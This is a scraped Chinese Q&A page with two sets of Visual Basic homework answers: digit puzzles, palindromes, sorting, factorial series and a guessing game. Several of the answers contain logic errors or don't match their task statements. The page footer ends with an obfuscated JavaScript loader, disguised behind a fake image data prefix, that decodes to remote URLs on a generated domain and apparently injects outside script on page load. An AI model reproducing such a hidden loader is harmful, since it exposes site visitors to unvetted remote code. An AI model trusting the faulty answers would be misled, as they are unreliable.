85问答库 > vb题答案！（内部）

vb题答案！（内部）

2024-11-27 22:29:48
推荐回答（2个）
回答1：

1. 编程在窗体上输出101~500之间的所有能被3或者7整除的奇数，按照一行5个的方式输出并最后符合要求的数的和。
解：代码为
Private Sub form_load()
Show
Dim n, sum As Integer
Print Spc(6); "101~500之间的所有能被3或者7整除的奇数,及各数的和"
i = 0
sum = 0
For n = 101 To 500 Step 2
If n Mod 3 = 0 Or n Mod 7 = 0 Then
sum = sum + n
i = i + 1
Print Spc(6); n;
If i Mod 5 = 0 Then
Print
End If
End If
Next n
Print Spc(7); "sum="; sum
End Sub
2. 在4个TextBox中输入4个大小不同的数，将它们从大到小排序后的结果用Msgbox函数输出。
解： 代码为
Private Sub Command1_Click()
Dim a!, b!, c!, d!
a = Val(Text1.Text)
b = Val(Text2.Text)
c = Val(Text3.Text)
d = Val(Text4.Text)
If a <> b And b <> c And c <> d And a <> c And a <> d And b <> d Then
If a < b Then
t = a: a = b: b = t
End If
If a < c Then
t = a: a = c: c = t
End If
If b < c Then
t = b: b = c: c = t
End If
If d > a Then
t = d: d = a: a = t
End If
If d > b Then
t = d: d = b: b = t
End If
If d > c Then
t = d: d = c: c = t
End If
MsgBox "从大到小排序：" & a & "," & b & "," & c & "," & d
Else
MsgBox "有相同的数"
End If
End Sub

Private Sub Command2_Click()
End
End Sub

3. 在TextBox任意输入x的值，将f(x)输出的结果用Msgbox函数输出。
解： 代码为
Private Sub Command1_Click()
Dim x As Double
x = Val(Text1.Text)
If x < 0 Then
If x = -3 Then
MsgBox "f(x)=" & x ^ 2 - x - 1
Else: MsgBox "f(x)=" & x ^ 2 + x - 6
End If
End If
If x >= 0 Then
If x < 10 And x <> 2 And x <> 3 Then
MsgBox "f(x)=" & x ^ 2 - 5 * x + 6
Else: MsgBox "f(x)=" & x ^ 2 - x - 1
End If
End If
End Sub

Private Sub Command2_Click()
End
End Sub
4. 找到10000到99999中的所有回文数，并按照一行10个的格式在窗体上输出，例如12321是回文数，个位与万位相同，十位与千位相同。
解：代码为
Private Sub Form_Load()
Show
Dim x, a, b, c, d, e As Integer
Print Spc(25); "所有的五位回文数："
Print
i = 0
For x = 10000 To 99999
a = x \ 10000
b = (x - (a * 10000)) \ 1000
c = (x - (a * 10000) - (b * 1000)) \ 100
d = (x - (a * 10000) - (b * 1000) - (c * 100)) \ 10
e = x - (a * 10000) - (b * 1000) - (c * 100) - (d * 10)
If a = e And b = d And c <> a And c <> b And a <> b Then
Print Spc(5); x;
i = i + 1
If i Mod 10 = 0 Then
Print
End If
End If
Next
End Sub
5. 在窗体上输出所有的“水仙花数”，并按照一行5个的格式输出。所谓“水仙花数”是指一个三位数，其各位数字立方和等于该数本身。例如：153是一个“水仙花数”，因为153=1*1*1＋5*5*5＋3*3*3。
解：代码为
Private Sub form_load() Show Dim a, b, c, i As Integer Print Spc(10); "水仙花数" For i = 100 To 999 a = i Mod 10 b = i \ 100 c = (i - b * 100) \ 10 If a ^ 3 + b ^ 3 + c ^ 3 = i Then Print i; Space(2); If (i + 1) Mod 5 = 0 Then Print End If End If Next i End Sub
6. 编程找出满足下列条件的所有四位数并在窗体上按照一行10个的形式输出：该数第一、三位数字之和为10，第二、四位数字之积为12。
解：代码为
Private Sub Form_Load()
Dim i As Integer, a(1 To 4) As Integer, j As Integer
j = 0
Show
For i = 1000 To 9999
a(1) = i Mod 10
a(2) = ((i - a(1)) / 10) Mod 10
a(3) = ((i - i Mod 100) / 100) Mod 10
a(4) = ((i - i Mod 1000) / 1000) Mod 10
If (a(4) + a(2) = 10 And a(1) * a(3) = 12) Then
Print Tab((j Mod 10 + 1) * 7);
Print i;
j = j + 1
If (j Mod 10 = 0) Then Print
End If
Next
End Sub
7.编写一个程序，在2个TextBox中输入某人的身高（cm）和体重（kg），按下式确定其体重是否为标准、过胖或过瘦，将结果用Msgbox输出。（1）标准体重=身高-110；（2）超过标准体重5kg为过胖；（3）低于标准体重5kg为过瘦。
解： 代码为
Private Sub Command1_Click()
Dim a, b, c As Single
a = Val(Text1.Text)
b = Val(Text2.Text)
c = a - 110
If b - c > 5 Then
MsgBox "体重过胖"
ElseIf c - b > 5 Then
MsgBox "体重过痩"
ElseIf c - b <> 5 Or c - b = 5 Then
MsgBox "标准体重"
End If
End Sub

Private Sub Command2_Click()
End
End Sub
8.在TextBox中输入一个正整数n，计算 的值并在窗体上输出结果。
解： 代码为
Private Sub Command1_Click()
Dim n, f, s, i As Integer
n = Val(Text1.Text)
f = 1
s = 0
For i = 1 To n
f = f * i
s = s + f / (i + 2)
Next i
Label2.Caption = "S=" & s
End Sub
Private Sub Command2_Click()
End
End Sub

Private Sub Form_Load()
End Sub
9.已知abcd+dcba=3456，其中a，b，c，d均为一位正整数，编程求出满足条件的a，b，c，d所有组合，在Label上输出答案。
解： 代码为
Private Sub Command1_Click()
Dim a, b, c, d, i As Integer
i = 0
For a = 0 To 9
For b = 0 To 9
For c = 0 To 9
For d = 0 To 9
If (a * 1000 + b * 100 + c * 10 + d + d * 1000 + c * 100 + b * 10 + a = 3456) Then
Label1.Caption = "a=" & a & "," & "b=" & b & "," & "c=" & c & "," & "d=" & d
i = i + 1
Else
Label1.Caption = "没有这样的数"
End If
Next
Next
Next
Next

End Sub
10.编程输出所有满足如下条件的三位正整数：它是某整数的平方，它的三位数码有两位是相同的，在窗体上按照一行5个的格式输出。（如100是10的平方，它有两个0，225是15的平方，它有两个2）。
解：代码为
Private Sub Form_Load()
Show
Dim x, a, b, c, m As Integer
Print Tab(10); "所有的三位数："
Print
i = 0
For x = 100 To 999
For m = 10 To 32
a = x \ 100
b = (x - (a * 100)) \ 10
c = x - (a * 100) - (b * 10)
If a = b Or b = c Or c = a Then
If x = m * m Then
Print Spc(5); x;
i = i + 1
If i Mod 5 = 0 Then
Print
End If
End If
End If
Next m
Next x
End Sub
11.求这样一个四位数并输出该数字，该四位数等于其每位数字的阶乘之和。即：
abcd = a! + b! + c! + d!，将结果用Msgbox函数输出。
解： 代码为
Private Sub Command1_Click()
Dim i As Integer, a(1 To 4) As Integer, j As Integer
j = 0
For i = 1000 To 9999
a(1) = i Mod 10
a(2) = ((i - a(1)) / 10) Mod 10
a(3) = ((i - i Mod 100) / 100) Mod 10
a(4) = ((i - i Mod 1000) / 1000) Mod 10
If (i = fact(a(1)) + fact(a(2)) + fact(a(3)) + fact(a(4))) Then
MsgBox ("其中一个四位数为：" & i)
j = j + 1
End If
Next
If j = 0 Then MsgBox ("无结果")
End Sub
Private Function fact(n As Integer) As Long
Dim i As Integer
f = 1
For i = 1 To n
f = f * i
Next
fact = f
End Function
12.输出所有大于1010的4位偶数，且该类偶数的各位数字两两不相同，在窗体上按照一行5个的格式输出。
解：代码为
Private Sub form_load()
Show
Dim a, b, c, d As Integer
Print Tab(20); "所有的四位数："
i = 0
For x = 1010 To 9999 Step 2
a = x \ 1000
b = (x - (a * 1000)) \ 100
c = (x - (a * 1000) - (b * 100)) \ 10
d = x - (a * 1000) - (b * 100) - (c * 10)
If a <> b And b <> c And c <> a And a <> d And b <> d And c <> d Then
Print Spc(5); x;
i = i + 1
If i Mod 5 = 0 Then
Print
End If
End If
Next
End Sub
13.求1-2!+3!-4!...序列，当最后的结果超过2000000停止计算，将该序列的最结果用Msgbox函数输出。
解： 代码为
Private Function m(n As Double) As Double
Dim i As Double
f = 1
For i = 1 To n
f = f * i
Next
m = f
End Function
Private Sub Command1_Click()
Dim i As Integer, b As Double, j As Double
b = 0
i = 1
j = 1
Do While (b < 2000000)
b = b + i * m(j)
j = j + 1
i = i * (-1)
Loop
MsgBox ("结果为：" & b)
End Sub
14.一位司机酒驾撞人逃跑。现场三人目击事件，但都没记住车号，只记下车号的一些特征。甲说：牌照的前两位数字是相同的；乙说：牌照的后两位数字是相同的；丙是位数学家，他说：四位的车号刚好是一个整数的平方。请根据以上线索求出车号。（车号为4位正整数，结果在TextBox中输出）
解： 代码为
Private Sub Form_Load()
Dim i As Integer, j As Integer, a(1 To 4) As Integer
j = 0
Show
For i = 1000 To 9999
a(1) = i Mod 10
a(2) = ((i - a(1)) / 10) Mod 10
a(3) = ((i - i Mod 100) / 100) Mod 10
a(4) = ((i - i Mod 1000) / 1000) Mod 10
If (Sqr(i) - Fix(Sqr(i)) = 0) Then
If (a(1) = a(2) And a(3) = a(4)) Then
Text1.Text = i
End If
End If
Next
End Sub
15.用户利用InputBox函数随机输入12个0－100之间的整数，统计出小于60，60到70，70到80，80到90以及90到100范围的整数各有多少个？用Msgbox函数显示输出结果。
解： 代码为
Private Sub Command1_Click()
Dim a(1 To 12) As Integer, b(1 To 5) As Integer, i As Integer
For i = 1 To 12
a(i) = Val(InputBox("请输入第" & i & "个数"))
Next
For i = 1 To 12
Select Case a(i)
Case 0 To 59
b(1) = b(1) + 1
Case 60 To 69
b(2) = b(2) + 1
Case 70 To 79
b(3) = b(3) + 1
Case 80 To 90
b(4) = b(4) + 1
Case 90 To 100
b(5) = b(5) + 1
Case Else
End Select
Next
MsgBox ("小于60：" & b(1) & "，60到70：" & b(2) & "，70到80：" & b(3) & "，80到90：" & b(4) & "，90到100：" & b(5))
End Sub
16.在TextBox中输入一个正整数n，当n的值为偶数时，求1-1/2-1/4-...-1/n序列的和，当n为奇数时，求1-1/3-1/5...-1/n序列的和，将结果用Msgbox函数输出。
解： 代码为
Private Sub Command1_Click()
Dim a As Integer, b As Double, x As Double
a = Val(Text1.Text)
x = 1
Select Case a Mod 2
Case 0
For b = 2 To a Step 2
x = x - 1 / b
Next
Case 1
For b = 3 To a Step 2
x = x - 1 / b
Next
Case Else
End Select
MsgBox ("结果为：" & Format(x, "0.#####"))
End Sub
17.编制程序要求输入整数a和b，若a2+b2大于100，则输出a2+b2百位以上的数字，否则输出两数字之和。结果利用Msgbox函数输出 。
解： 代码为
Private Sub Command1_Click()
Dim a As Long, b As Long, s As Long, n As Long
a = Val(Text1.Text)
b = Val(Text2.Text)
s = a ^ 2 + b ^ 2
n = a + b
If s > 100 Then
i = MsgBox("结果为：" & Int(s / 100))
Else: i = MsgBox("结果为：" & n)
End If
End Sub

Private Sub Command2_Click()
End
End Sub
18.猜数游戏：由计算机随机产生一个2位正整数让人来猜，只能猜8次，如果人猜对了，则利用Msgbox函数显示计算机随机产生的该2位正整数并显示“You are so clever”，否则利用Msgbox函数给出提示，告诉人所猜的数是太大还是太小，直到人猜对为止，或者8次都猜不对给出提示“Game Over”。
解： 代码为
Private Sub Command1_Click()
Dim a As Integer, b As Integer, i As Integer
Randomize
a = Fix(Rnd(Time) * 90) + 10
For i = 1 To 8
b = Val(InputBox("请输入一个数"))
Select Case b
Case 0 To a - 1
MsgBox ("太小了！")
Case a + 1 To 100
MsgBox ("太大了！")
Case a
MsgBox ("You are so clever!")
Exit For
Case Else
MsgBox ("输入错误！")
End Select
If (i = 8) Then MsgBox ("GAME OVER!")
Next
End Sub
19.征兵的条件是：男性（sex）年龄（age）在18~20之间，身高（size）在1.65米以上；或者女性（sex）年龄（age）在16~18之间，身高（size）在1.60米以上。
用三个文本框控件分别输入性别、年龄、身高信息，根据这些信息判断是否符合征兵条件，用Msgbox函数输出结果。
解： 代码为
Private Sub Command1_Click()
Dim i As String, j As Single, k As Integer
i = Text1.Text
j = Val(Text2.Text)
k = Val(Text3.Text)
Show
Print i
Select Case i
Case "男"
If (k >= 18 And k <= 20) Then
If (j > 165) Then
MsgBox ("合格，符合征兵条件")
Else
MsgBox ("不合格，不符合征兵条件")
End If
Else
MsgBox ("不合格，不符合征兵条件")
End If
Case "女"
If (k >= 16 And k <= 18) Then
If (j > 160) Then
MsgBox ("合格，符合征兵条件")
Else
MsgBox ("不合格，不符合征兵条件")
End If
Else
MsgBox ("不合格，不符合征兵条件")
End If
Case Else
MsgBox ("输入错误！")
End Select
End Sub

Private Sub Command2_Click()
End
End Sub
20.求出1到1000之内能被5或13整除、但不能同时被5和13整除的所有整数，在窗体上按照一行5个的格式输出。
解：代码为
Private Sub Form_Load()
Show
Dim n As Integer
Print Spc(10); "1到1000之间能被5或13整除,但不能5和13同时整除的所有整数:"
i = 0
For n = 1 To 1000
If n Mod 5 = 0 Or n Mod 13 = 0 Then
If n Mod 65 <> 0 Then
i = i + 1
Print Spc(6); Format(n, "!@@@@");
If i Mod 5 = 0 Then
Print
End If
End If
End If
Next
End Sub

回答2：

1. 在窗体上输出所有的“水仙花数”，并按照一行5个的格式输出。所谓“水仙花数”是指一个三位数，其各位数字立方和等于该数本身。例如：153是一个“水仙花数”，因为153=1*1*1＋5*5*5＋3*3*3。
解：代码为：
Private Sub Form_Load()
Dim i As Integer, j As Integer, g As Integer, b As Integer, q As Integer
Show
j = 0
For i = 100 To 999
g = i Mod 10
s = ((i - g) / 10) Mod 10
b = (i - s * 10 - g) / 100
If (i = g * g * g + s * s * s + b * b * b) Then
j = j + 1
Print Tab((j Mod 5 + 1) * 7); i;
If (j Mod 5 = 0) Then
Print ""
End If
End If
Next
End Sub
2.
在TextBox任意输入x的值，将f(x)输出的结果用Msgbox函数输出。

解：在窗体上创建一个文本框，和一个caption属性为“计算”的按钮command1
代码为：
Private Sub Command1_Click()
Dim a As Double, b As Double
a = Val(Text1.Text)
If (a < 0 And a <> -3) Then
b = a * a + a - 6
Else
If (a >= 0) Then
If (a < 10 And a <> 2 And a <> 3) Then
b = a * a - 5 * a + 6
Else
b = a * a - a - 1
End If
End If
End If
MsgBox ("计算结果为：" & b)
End Sub
3. 编写一个程序，在2个TextBox中输入某人的身高（cm）和体重（kg），按下式确定其体重是否为标准、过胖或过瘦，将结果用Msgbox输出。（1）标准体重=身高-110；（2）超过标准体重5kg为过胖；（3）低于标准体重5kg为过瘦。

解：代码为：
Private Sub Command1_Click()
Dim a As Integer, b As Integer, c As Integer
a = Val(Text1.Text)
b = Val(Text2.Text)
c = a - 110
If (b - c < -5) Then
MsgBox ("体重过瘦")
Else
If (b - c > 5) Then
MsgBox ("体重过肥")
Else
MsgBox ("体重很标准")
End If
End If
End Sub

4. 征兵的条件是：男性（sex）年龄（age）在18~20之间，身高（size）在1.65米以上；或者女性（sex）年龄（age）在16~18之间，身高（size）在1.60米以上。
用三个文本框控件分别输入性别、年龄、身高信息，根据这些信息判断是否符合征兵条件，用Msgbox函数输出结果。
解：窗体控件有三个标签caption属性分别为“性别”、“身高”、“年龄”
三个文本窗口
一个按钮caption属性为“判断是否符合条件”
代码为：
Private Sub Command1_Click()
Dim i As String, j As Integer, k As Integer
i = Text1.Text
j = Val(Text2.Text)
k = Val(Text3.Text)
Show
Print i
Select Case i
Case "男"
If (k > 18 And k < 20) Then
If (j > 165) Then
MsgBox ("合格，符合征兵条件")
Else
MsgBox ("不合格，不符合征兵条件")
End If
Else
MsgBox ("不合格，不符合征兵条件")
End If
Case "女"
If (k > 16 And k < 18) Then
If (j > 160) Then
MsgBox ("合格，符合征兵条件")
Else
MsgBox ("不合格，不符合征兵条件")
End If
Else
MsgBox ("不合格，不符合征兵条件")
End If
Case Else
MsgBox ("输入错误！")
End Select
End Sub

5. 编程在窗体上输出101~500之间的所有能被3或者7整除的奇数，按照一行5个的方式输出并最后符合要求的数的和。
解：代码为：
Private Sub Form_Load()
Dim i As Integer, j As Integer
j = 0
Show
For i = 101 To 500
If (（i Mod 3 = 0 or i Mod 7 = 0) And i Mod 2 <> 0) Then
Print Tab((j Mod 5 + 1) * 7);
Print i;
j = j + 1
If (j Mod 5 = 0) Then Print ""
End If
Next
End Sub

6. 在TextBox中输入一个正整数n，计算 的值并在窗体上输出结果。

解：控件有一个文本框，一个按钮caption属性为“计算”
代码为：
Private Function m(n As Double) As Double
Dim i As Double
f = 1
For i = 1 To n
f = f * i
Next
m = f
End Function

Private Sub Command1_Click()
Dim n As Integer, i As Double, x As Double
Show
n = Val(Text1.Text)
For i = 1 To n
x = x + m(i) / (i + 2)
Next
Print x
End Sub
7. 在4个TextBox中输入4个大小不同的数，将它们从大到小排序后的结果用Msgbox函数输出。

解：command1的caption属性为“排序”
代码为：
Private Sub Command1_Click()
Dim a(1 To 4) As Integer
Dim m As Integer, i As Integer, j As Integer
a(1) = Val(Text1.Text)
a(2) = Val(Text2.Text)
a(3) = Val(Text3.Text)
a(4) = Val(Text4.Text)
For i = 1 To 4
For j = i + 1 To 4
If (a(j) < a(i)) Then
m = a(j)
a(j) = a(i)
a(i) = m
End If
Next
Next
MsgBox ("排序结果为：" & a(1) & "," & a(2) & "," & a(3) & "," & a(4))
End Sub
8. 求1-2!+3!-4!...序列，当最后的结果超过2000000停止计算，将该序列的最结果用Msgbox函数输出。
解：代码为：
Private Function m(n As Double) As Double
Dim i As Double
f = 1
For i = 1 To n
f = f * i
Next
m = f
End Function

Private Sub Command1_Click()
Dim i As Integer, b As Double, j As Double
b = 0
i = 1
j = 1
Do While (b < 2000000)
b = b + i * m(j)
j = j + 1
i = i * (-1)
Loop
MsgBox ("结果为：" & b)
End Sub

9. 找到10000到99999中的所有回文数，并按照一行10个的格式在窗体上输出，例如12321是回文数，个位与万位相同，十位与千位相同。
解：代码为：
Private Sub Command1_Click()
Dim a(1 To 5) As Long
Dim i As Long, j As Long
For i = 10000 To 99999
a(1) = i Mod 10
a(2) = ((i - a(1)) / 10) Mod 10
a(3) = ((i - i Mod 100) / 100) Mod 10
a(4) = ((i - i Mod 1000) / 1000) Mod 10
a(5) = ((i - i Mod 10000) / 10000) Mod 10
If (a(1) = a(5) And a(2) = a(4)) Then
Print Tab((j Mod 10 + 1) * 7);
Print i;
j = j + 1
If (j Mod 10 = 0) Then
Print ""
End If
End If
Next
End Sub

10. 求出1到1000之内能被5或13整除、但不能同时被5和13整除的所有整数，在窗体上按照一行5个的格式输出。
解：代码为：
Private Sub Form_Load()
Dim i As Integer, j As Integer
j = 0
Show
For i = 1 To 1000
If (i Mod 13 = 0 Or i Mod 5 = 0) Then
If (i Mod 13 = 0 And i Mod 5 = 0) Then
Else
Print Tab((j Mod 5 + 1) * 7);
Print i;
j = j + 1
If (j Mod 5 = 0) Then Print ""
End If
End If
Next
End Sub

11. 在TextBox中输入一个正整数n，当n的值为偶数时，求1-1/2-1/4-...-1/n序列的和，当n为奇数时，求1-1/3-1/5...-1/n序列的和，将结果用Msgbox函数输出。
解：代码为：
Private Sub Command1_Click()
Dim a As Integer, b As Double, x As Double
a = Val(Text1.Text)
x = 1
Select Case a Mod 2
Case 0
For b = 2 To a Step 2
x = x - 1 / b
Next
Case 1
For b = 3 To a Step 2
x = x - 1 / b
Next
Case Else
End Select
MsgBox ("结果为：" & Format(x, "0.00000000000"))
End Sub

12. 已知abcd+dcba=3456，其中a，b，c，d均为一位正整数，编程求出满足条件的a，b，c，d所有组合，在Label上输出答案。

解：Private Sub Command1_Click()
Dim a As Integer, b As Integer, c As Integer, d As Integer
Dim i As Integer
i = 0
For a = 0 To 9
For b = 0 To 9
For c = 0 To 9
For d = 0 To 9
If (a * 1000 + b * 100 + c * 10 + d + d * 1000 + c * 100 + b * 10 + a = 3456) Then
Label1.Caption = "a=" & a & "," & "b=" & b & "," & "c=" & c & "," & "d=" & d
i = i + 1
End If
Next
Next
Next
Next
If i = 0 Then MsgBox ("无结果！")
End Sub

13. 求这样一个四位数并输出该数字，该四位数等于其每位数字的阶乘之和。即：
abcd = a! + b! + c! + d!，将结果用Msgbox函数输出。
解：代码为：
Private Sub Command1_Click()
Dim i As Integer, a(1 To 4) As Integer, j As Integer
j = 0
For i = 1000 To 9999
a(1) = i Mod 10
a(2) = ((i - a(1)) / 10) Mod 10
a(3) = ((i - i Mod 100) / 100) Mod 10
a(4) = ((i - i Mod 1000) / 1000) Mod 10
If (i = fact(a(1)) + fact(a(2)) + fact(a(3)) + fact(a(4))) Then
MsgBox ("其中一个四位数为：" & i)
j = j + 1
End If
Next
If j = 0 Then MsgBox ("无结果")
End Sub
Private Function fact(n As Integer) As Long
Dim i As Integer
f = 1
For i = 1 To n
f = f * i
Next
fact = f
End Function

14. 编程找出满足下列条件的所有四位数并在窗体上按照一行10个的形式输出：该数第一、三位数字之和为10，第二、四位数字之积为12。
解：代码为：
Private Sub Form_Load()
Dim i As Integer, a(1 To 4) As Integer, j As Integer
j = 0
Show
For i = 1000 To 9999
a(1) = i Mod 10
a(2) = ((i - a(1)) / 10) Mod 10
a(3) = ((i - i Mod 100) / 100) Mod 10
a(4) = ((i - i Mod 1000) / 1000) Mod 10
If (a(4) + a(2) = 10 And a(1) + a(3) = 12) Then
Print Tab((j Mod 10 + 1) * 7);
Print i;
j = j + 1
If (j Mod 10 = 0) Then Print
End If
Next
End Sub

15. 编程输出所有满足如下条件的三位正整数：它是某整数的平方，它的三位数码有两位是相同的，在窗体上按照一行5个的格式输出。（如100是10的平方，它有两个0，225是15的平方，它有两个2）。
解：代码为：
Private Sub Form_Load()
Dim i As Integer, j As Integer, a(1 To 3) As Integer
j = 0
Show
For i = 100 To 999
a(1) = i Mod 10
a(2) = ((i - a(1)) / 10) Mod 10
a(3) = ((i - i Mod 100) / 100) Mod 10
If (Sqr(i) - Fix(Sqr(i)) = 0) Then
If (a(1) = a(2) Or a(2) = a(3) Or a(1) = a(3)) Then
Print Tab((j Mod 5 + 1) * 7);
Print i;
j = j + 1
If (j Mod 5 = 0) Then Print
End If
End If
Next
End Sub

16. 输出所有大于1010的4位偶数，且该类偶数的各位数字两两不相同，在窗体上按照一行5个的格式输出。
解：代码为：
Private Sub Form_Load()
Dim i As Integer, j As Integer, a(1 To 4) As Integer
j = 0
Show
For i = 1010 To 9999 Step 2
a(1) = i Mod 10
a(2) = ((i - a(1)) / 10) Mod 10
a(3) = ((i - i Mod 100) / 100) Mod 10
a(4) = ((i - i Mod 1000) / 1000) Mod 10
If (a(1) <> a(2) And a(2) <> a(3) And a(3) <> a(4) And a(1) <> a(3) And a(1) <> a(4) And a(2) <> a(4)) Then
Print Tab((j Mod 5 + 1) * 7);
Print i;
j = j + 1
If (j Mod 5 = 0) Then Print
End If
Next
End Sub

17. 一位司机酒驾撞人逃跑。现场三人目击事件，但都没记住车号，只记下车号的一些特征。甲说：牌照的前两位数字是相同的；乙说：牌照的后两位数字是相同的；丙是位数学家，他说：四位的车号刚好是一个整数的平方。请根据以上线索求出车号。（车号为4位正整数，结果在TextBox中输出）
解：代码为：
Private Sub Form_Load()
Dim i As Integer, j As Integer, a(1 To 4) As Integer
j = 0
Show
For i = 1000 To 9999
a(1) = i Mod 10
a(2) = ((i - a(1)) / 10) Mod 10
a(3) = ((i - i Mod 100) / 100) Mod 10
a(4) = ((i - i Mod 1000) / 1000) Mod 10
If (Sqr(i) - Fix(Sqr(i)) = 0) Then
If (a(1) = a(2) And a(3) = a(4)) Then
Text1.Text = i
End If
End If
Next
End Sub

18. 用户利用InputBox函数随机输入12个0－100之间的整数，统计出小于60，60到70，70到80，80到90以及90到100范围的整数各有多少个？用Msgbox函数显示输出结果。
解：代码为：
Private Sub Command1_Click()
Dim a(1 To 12) As Integer, b(1 To 5) As Integer, i As Integer
For i = 1 To 12
a(i) = Val(InputBox("请输入第" & i & "个数"))
Next
For i = 1 To 12
Select Case a(i)
Case 0 To 59
b(1) = b(1) + 1
Case 60 To 69
b(2) = b(2) + 1
Case 70 To 79
b(3) = b(3) + 1
Case 80 To 90
b(4) = b(4) + 1
Case 90 To 100
b(5) = b(5) + 1
Case Else
End Select
Next
MsgBox ("小于60：" & b(1) & "，60到70：" & b(2) & "，70到80：" & b(3) & "，80到90：" & b(4) & "，90到100：" & b(5))
End Sub

19. 编制程序要求输入整数a和b，若a2+b2大于100，则输出a2+b2百位以上的数字，否则输出两数字之和。结果利用Msgbox函数输出 。
解：代码为：
Private Sub Command1_Click()
Dim a As Integer, b As Integer, i As Integer
a = Val(InputBox("请输入a:"))
b = Val(InputBox("请输入b:"))
If (a * a + b * b > 100) Then
i = ((a * a + b * b) - (a * a + b * b) Mod 100) / 100
MsgBox ("平方和结果的百位为：" & i)
Else
MsgBox ("两数之和为：" & a + b)
End If
End Sub

20. 猜数游戏：由计算机随机产生一个2位正整数让人来猜，只能猜8次，如果人猜对了，则利用Msgbox函数显示计算机随机产生的该2位正整数并显示“You are so clever”，否则利用Msgbox函数给出提示，告诉人所猜的数是太大还是太小，直到人猜对为止，或者8次都猜不对给出提示“Game Over”。
解：代码为：
Private Sub Command1_Click()
Dim a As Integer, b As Integer, i As Integer
Randomize
a = Fix(Rnd(Time) * 90) + 10
For i = 1 To 8
b = Val(InputBox("请输入一个数"))
Select Case b
Case 0 To a - 1
MsgBox ("太小了！")
Case a + 1 To 100
MsgBox ("太大了！")
Case a
MsgBox ("You are so clever!")
Exit For
Case Else
MsgBox ("输入错误！")
End Select
If (i = 8) Then MsgBox ("GAME OVER!")
Next
End Sub

相关问答
最新问答
梦见穿的鞋子掉水田里 鞋里灌满了水 我让儿子去捡 谁知他走到水里被淹了 我很着急叫我老公去救儿子...
触摸式台灯 不亮了 怎么修
求好看的BL小说推荐，附带简介，HE╮(╯▽╰)╭ 重质不重量
公务员考试需要考试数学吗？
这古钱币能值多少价位？谢谢！
淘宝卖家宝贝详情页中的2个红方框怎么设置
MAC OS safari的临时文件在哪里？
淘宝 出售中的宝贝 后面显示一个折字 上传的其他商品 都没有 请问是什么意思 求详解 看下图
在人多的地方就感到头晕,恶心．
为什么橡皮可以将铅笔字擦掉？
返回顶部

内容全部来源于网络收集，如有侵权，请联系网站删除：QQ：24596024

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 